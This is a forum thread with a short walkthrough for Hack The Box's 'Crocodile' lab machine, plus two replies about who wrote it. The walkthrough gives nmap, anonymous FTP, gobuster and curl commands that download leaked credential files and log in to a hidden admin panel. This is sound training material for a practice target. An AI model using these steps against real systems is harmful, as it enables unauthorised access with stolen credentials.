[exo]

[HEADING=1]Introduction[/HEADING]
In this tutorial, we’ll chain an anonymous FTP leak into a hidden web admin login on Hack The Box’s Crocodile box to retrieve the flag.

You’ll learn to:

• - Enumerate FTP and download leaked credential files
  
• - Extract valid usernames/passwords
  
• - Use Gobuster to discover hidden web pages
  
• - Authenticate to a PHP login panel and capture the flag
  

[HEADING=1]Prerequisites[/HEADING]

• - Kali Linux (or any distro with ftp, gobuster, curl)
  
• - HTB VPN connection
  

• ---

  
  

[HEADING=1]1. FTP Enumeration[/HEADING]
[CODE=bash]nmap -sC -sV -p 21,80 <IP>
ftp <IP>
# login: anonymous
dir
get allowed.userlist
get allowed.userlist.passwd[/CODE]

Inspect the lists:

cat allowed.userlist
cat allowed.userlist.passwd

[HEADING=1]2. Extract Credentials[/HEADING]
From allowed.userlist + .passwd, find a valid pair (e.g. admin / Supersecretpassword1).

[HEADING=1]3. Discover Hidden Pages[/HEADING]
[CODE=bash]gobuster dir \
--url http://<IP>/ \
--wordlist /usr/share/wordlists/dirb/common.txt \
-x php,html[/CODE]
Look for /login.php.

[HEADING=1]4. Admin Login & Flag[/HEADING]
[CODE=bash]curl -d "username=admin&password=Supersecretpassword1" \
http://<IP>/login.php[/CODE]
You’ll be redirected to the Admin panel—your flag is displayed at the top.

---

[HEADING=1]5. Lessons Learned[/HEADING]

• - Anonymous services often leak credentials.
  
• - Combine leaked creds with web enumeration for full-chain exploits.
  
• - Automate with scripts in professional engagements.
  

• ---

  
  
• 🔗 Repo & full write‑up: https://github.com/keyfive5/obsidiansign...-crocodile
  
  

[likoud]

why u repostin a writeup of a random box that aint written by u...

[udpdog]

why u repostin a writeup of a random box that aint written by u...

mb, lost this account... Nobody posted anything when i put this one. Older one's are from a different forums, they just imported the database.

keyfive5 is part of my HackTheBox's team. And I just posted his write-up since someone asked in the Shoutbox what was this sub for.